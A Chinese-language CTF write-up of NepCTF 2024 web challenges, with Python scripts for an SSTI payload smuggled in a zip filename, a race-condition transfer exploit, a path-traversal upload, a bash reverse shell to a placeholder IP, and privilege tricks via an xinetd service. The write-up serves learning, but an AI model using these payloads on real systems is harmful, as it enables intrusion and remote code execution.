2024NepCTF web复现

NepDouble

python 复制代码
 if request.method != "POST":
        return 'Please use POST method to upload files.'
python 复制代码
file_extension = files.filename.rsplit('.', 1)[-1].lower()
        if file_extension != 'zip':
            return 'Invalid file type. Please upload a .zip file.'
python 复制代码
        with ZipFile(files) as zip_file:
            zip_file.extractall(path=unzip_folder)

        files_list = []
        for root, dirs, files in os.walk(unzip_folder):
            for file in files:
                print(file)
                file_path = os.path.join(root, file)
                relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])
                link = f'<a href="/cat?file={relative_path}">{file}</a>'
                files_list.append(link)

        return render_template_string('<br>'.join(files_list))

查看附件的app.py时发现需要用post提交一个zip文件即可解压并返回超链接<a href="/cat?file={relative_path}">{file}</a>渲染网页,所以我们可以用脚本进行连接并上传一个带有ssti的payload的zip文件

python 复制代码
import requests
import io
import zipfile
# 创建一个内存中的字节流对象
zip_buffer = io.BytesIO()
# 使用 zipfile.ZipFile 创建 ZIP 文件
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
    # 向ZIP文件中添加自定义文件和内容
    zip_file.writestr('file1.txt', 'This is the content of file1.')
    zip_file.writestr("{{7*7}}", 'This is the content of file2.')
# 将字节流的指针移动到文件开始位置
zip_buffer.seek(0)
# 构造上传的文件数据
files = {'tp_file': ('test.zip', zip_buffer, 'application/zip')}
# 上传到服务器
url = 'https://neptune-44698.nepctf.lemonprefect.cn/'
response = requests.post(url=url, files=files, allow_redirects=False)
# 打印响应内容
print(response.text)
复制代码
{{lipsum.__globals__.os.popen('cat /flag').read()}}

蹦蹦炸弹

根据代码,整理出流程为:登入HRP用户(余额6000)->重置->获取其他用户(随机生成,余额2000)->利用多线程转账给随机生成的用户->购买admin用户的密码(密码值10000)->登入admin用户->上传文件lock.txt->执行cmd命令得到flag

由于获取admin的密码需要用到多线程提交转账请求刷取且登入admin后也无法在页面里上传文件,所以所有流程就得全部通过脚本实现(这里直接用官方给的exp)

如果运行一次脚本不行就多运行几次,可能是转账的金额还没有达到10000

登入admin

python 复制代码
import requests
import threading
import re

def transfer_to_user(session, user, amount):
    transfer_url = "https://neptune-57790.nepctf.lemonprefect.cn/transfer"
    data = {
        "receiver": user,
        "amount": amount,
        "logs": "true",
    }
    session.post(transfer_url, data=data)


session = requests.Session()

# 登入
login_url = "https://neptune-57790.nepctf.lemonprefect.cn/login"
login_data = {
    "username": "HRP",
    "password": "HRP"
}
session.post(login_url, data=login_data)

# 重置
reset_url = "https://neptune-57790.nepctf.lemonprefect.cn/reset"
session.get(reset_url, data="")

# 获取其他用户
get_users_url = "https://neptune-57790.nepctf.lemonprefect.cn/get_users?num=1"
response = session.get(get_users_url)
first_user = response.json()["users"][0]

# 转账
threads = []
for _ in range(100):
    t = threading.Thread(target=transfer_to_user, args=(session, first_user, 1000))
    t.start()
    threads.append(t)

for t in threads:
    t.join()

print(f"Transferred 100 units to {first_user} 100 times!")

# 购买提取flag
force_buy_flag_data_url = "https://neptune-57790.nepctf.lemonprefect.cn/force_buy_flag"
force_buy_flag_data = {
    "target_user": first_user
}
admin_passwd = session.post(force_buy_flag_data_url, data=force_buy_flag_data)
print(admin_passwd.text)
pattern = r'flag:\s+(.+)'
# 使用正则表达式进行匹配
matches = re.findall(pattern, admin_passwd.text)
# 提取到的匹配结果
for match in matches:
    print("admin_passwd:", match)
    admin_passwd = match

# 登录admin
login_url = "https://neptune-57790.nepctf.lemonprefect.cn/admin"
login_data = {"username": "admin", "password": admin_passwd}
# 发送登录POST请求
session = requests.Session()
login_response = session.post(login_url, data=login_data)

用购买的密码登入后发现上传文件没有路径继续用代码实现

上传文件

python 复制代码
# 上传的文件
import os

os.system("touch lock.txt")
file_path = './lock.txt'
upload_url = 'https://neptune-57790.nepctf.lemonprefect.cn/admin/dashboard'
# 使用session对象打开文件并进行上传
with open(file_path, 'rb') as f:
    files = {'file': ('../../lock.txt', f)}  # Changed the file name to just 'lock.txt'
    upload_response = session.post(upload_url, files=files)

# 输出服务器响应
print(upload_response.text)

上传lock.txt文件后getshell,执行cmd命令

由于每次执行命令都需要运行所以直接反弹shell到自己的服务器上

复制代码
本机:nc -lvvp 7777
目标机:bash -c "bash -i >& /dev/tcp/your_ip/7777 0>&1"

查看当前路径,目录和用户

pwd && ls && whoami

直接尝试cat /home/ctfuser/f*发现不能查看

查看ctfuser目录文件权限发现flag没有读写权限

ls -ahl

查看根目录下发现有一个flag.sh

发现是使flag无读写权限的文件

查看进程

ps aux

可以发现典型的中间件进程xinetd服务开启,配置文件一般在/etc中

查看/etc目录发现conf文件和一个xinetd.d目录

cd /etc

ls -ahl

查看xinetd.conf没发现有用信息,进入xinetd.d查看

查看文件发现pwnservice里的内容正是运行服务文件

利用flag.sh中的命令给flag赋权

echo -e "#/bin/bash\nchmod 777 /home/ctfuser/f*"> start.sh && nc 127.0.0.1 8888

cat /home/ctfuser/f*

这题主要还是考察对于python脚本的理解,包括代码审计和脚本编写

PHP_MASTER!!

相关推荐
TDengine (老段)2 分钟前
TDengine 客户端负载均衡与 failover
大数据·数据库·负载均衡·时序数据库·tdengine·涛思数据
QT 小鲜肉2 分钟前
【Linux命令大全】001.文件管理之split命令(实操篇)
linux·运维·服务器·网络·笔记
AI前端老薛4 分钟前
面试:React虚拟DOM是什么?解决了哪些问题?
前端·react.js
musk12125 分钟前
在 Win11 PowerShell 中通过 SSH 密钥实现无密码访问 Linux 服务器,公钥使用 方法2 手动复制
linux·ssh·win11
松涛和鸣6 分钟前
42、SQLite3 :字典入库与数据查询
linux·前端·网络·数据库·udp·sqlite
QT 小鲜肉6 分钟前
【Linux命令大全】001.文件管理之rcp命令(实操篇)
linux·服务器·网络·chrome·笔记
是垚不是土7 分钟前
TDengine脚本备份方案:全库/单库备份与飞书通知
大数据·运维·数据库·飞书·时序数据库·tdengine
无言(* ̄(エ) ̄)9 分钟前
C语言--运算符/函数/结构体/指针
c语言·开发语言·数据结构·数据库·算法·mongodb
Tipriest_10 分钟前
Linux 下开发 C/C++ 程序为什么头文件引用路径这么多和复杂
linux·c语言·c++
oMcLin10 分钟前
Linux 容器技术实战:从 Docker 到 Podman 的无 root 权限部署
linux·docker·podman